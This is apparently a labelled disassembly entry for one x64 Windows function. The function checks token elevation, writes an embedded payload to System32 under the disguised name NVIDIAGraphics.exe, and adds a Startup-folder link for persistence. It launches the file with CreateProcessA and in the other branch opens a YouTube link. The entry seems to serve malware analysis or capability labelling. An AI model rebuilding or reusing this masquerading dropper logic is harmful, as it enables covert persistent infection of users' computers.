Function at 0x140005c80
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x14008c080]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
xor r15d, r15d
mov dword [rbp + 0x100], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x20]
lea edx, [r15 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140006371
lea rax, [rbp + 0x128]
mov qword [rsp + 0x20], rax
lea r9d, [r15 + 4]
lea r8, [rbp + 0x100]
lea edx, [r15 + 0x14]
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140006371
cmp dword [rbp + 0x100], r15d
setne al
test al, al
je 0x140006371
mov qword [rbp + 0x108], r15
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x120], 0xf
mov byte [rbp + 0x108], r15b
lea r8d, [r15 + 0x26]
lea rdx, str.C:WindowsSystem32NVIDIAGraphics.exe
lea rcx, [rbp + 0x108]
call fcn.140004380
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp - 0x10]
call fcn.140009c00
mov dword [rsp + 0x20], 1
lea r9d, [r15 + 0x40]
lea r8d, [r15 + 1]
lea rdx, [rbp + 0x108]
lea rcx, [rbp - 0x10]
call fcn.140001cd0
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::ios_base.0
test byte [rbp + rcx], 6
je 0x140006223
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x1c0]
call fcn.140009c00
mov dword [rsp + 0x20], 1
lea r9d, [r15 + 0x40]
lea r8d, [r15 + 0x20]
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x1c0]
call fcn.140001e90
nop
lea rbx, [0x1400273e0]
lea rdi, str._n_b_
nop dword [rax + rax]
movzx edx, byte [rbx]
lea rcx, [rbp + 0x1c0]
call fcn.140004f50
inc rbx
cmp rbx, rdi
jne 0x140005df0
lea rcx, [rbp + 0x1c8]
call fcn.140004560
test rax, rax
jne 0x140005e59
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0x208], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x1d0]
and eax, 0x17
mov dword [rbp + rcx + 0x1d0], eax
mov edx, dword [rbp + rcx + 0x1d4]
and edx, eax
jne 0x1400063a9
lea rcx, str.appdata
call fcn.14000dd58
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140005e84
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004380
nop
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rax, 0x41
jb 0x140005eed
lea rax, [rcx + 0x41]
mov qword [rsp + 0x68], rax
lea rbx, [rsp + 0x58]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x58]
add rbx, rcx
mov r8d, 0x41
lea rdx, str.MicrosoftWindowsStart_MenuProgramsStartupNVIDIAGraphics.lnk
mov rcx, rbx
call fcn.140009550
mov byte [rbx + 0x41], 0
lea rax, [rsp + 0x58]
jmp 0x140005f12
mov qword [rsp + 0x20], 0x41
lea r9, str.MicrosoftWindowsStart_MenuProgramsStartupNVIDIAGraphics.lnk
movzx r8d, byte [rsp + 0x50]
mov edx, 0x41
lea rcx, [rsp + 0x58]
call fcn.140001230
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
xor r8d, r8d
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x48]
call fcn.140001070
nop
lea rax, [rsp + 0x78]
mov qword [rbp - 0x20], rax
lea rsi, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rsi, qword [rbp + 0x108]
mov rdi, qword [rbp + 0x118]
call fcn.140007204
mov r14d, eax
mov qword [rsp + 0x78], r15
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r15w
mov dword [rbp + 0x100], 9
test rdi, rdi
je 0x140006011
cmp rdi, 0x7fffffff
ja 0x1400063fa
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14000722c
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140006405
xor r8d, r8d
movsxd rdx, ebx
lea rcx, [rsp + 0x78]
call fcn.140005160
lea r9, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae r9, qword [rsp + 0x78]
mov dword [rsp + 0x20], ebx
mov r8d, edi
mov rdx, rsi
mov ecx, r14d
call fcn.14000722c
shr rax, 0x20
test eax, eax
jne 0x14000640d
mov qword [rbp + 0x128], r15
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x128]
call fcn.1400036b0
nop
mov rbx, qword [rbp + 0x128]
test rbx, rbx
je 0x140006415
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
mov rdx, rbx
call fcn.140007340
test eax, eax
jne 0x14000641b
mov rcx, rbx
call fcn.1400076e8
nop
lea rcx, [rsp + 0x78]
call fcn.1400041d0
nop
lea rcx, [rbp - 0x48]
call fcn.1400041d0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400060b1
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006433
call fcn.1400076e8
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400060fe
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006439
call fcn.1400076e8
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rdx, qword [rbp + 0x108]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x154], xmm0
movups xmmword [rbp + 0x164], xmm0
movups xmmword [rbp + 0x174], xmm0
movups xmmword [rbp + 0x184], xmm0
movups xmmword [rbp + 0x194], xmm0
movups xmmword [rbp + 0x1a4], xmm0
mov dword [rbp + 0x1b4], eax
mov dword [rbp + 0x150], 0x68
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1c8]
call fcn.140002b30
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], rax
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x1bc], edx
mov qword [rbp + 0x268], r12
lea rcx, [rbp + 0x268]
call fcn.140006f98
nop
jmp 0x1400062c1
lea rdx, [rbp + 0x108]
cmp qword [rbp + 0x120], 0x10
cmovae rdx, qword [rbp + 0x108]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x154], xmm0
movups xmmword [rbp + 0x164], xmm0
movups xmmword [rbp + 0x174], xmm0
movups xmmword [rbp + 0x184], xmm0
movups xmmword [rbp + 0x194], xmm0
movups xmmword [rbp + 0x1a4], xmm0
mov dword [rbp + 0x1b4], eax
mov dword [rbp + 0x150], 0x68
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rcx, str.start_msedge.exe_https:__youtube.com_watch_vQYivBFuyGrI
call fcn.14000dd60
nop
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp]
call fcn.140002b30
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x14], edx
mov qword [rbp + 0xa0], r12
lea rcx, [rbp + 0xa0]
call fcn.140006f98
nop
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x140006371
inc rdx
mov rcx, qword [rbp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000636c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400063a3
call fcn.1400076e8
xor eax, eax
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.140007810
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14000dacc
nop
test dl, 4
je 0x1400063b7
lea rbx, str.ios_base::badbit_set
jmp 0x1400063cc
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x20]
call fcn.140004a30
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x48]
call fcn.140002600
lea rdx, [0x14008a6d8]
lea rcx, [rbp - 0x48]
call fcn.1400087c4
nop
mov ecx, 0x16
call fcn.140004150
int3
mov ecx, eax
call fcn.140004190
int3
mov ecx, eax
call fcn.140004190
nop
call fcn.140006658
int3
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x78]
mov edx, eax
lea rcx, str.create_symlink
call fcn.1400040e0
nop
call fcn.14000dacc
nop
call fcn.14000dacc
int3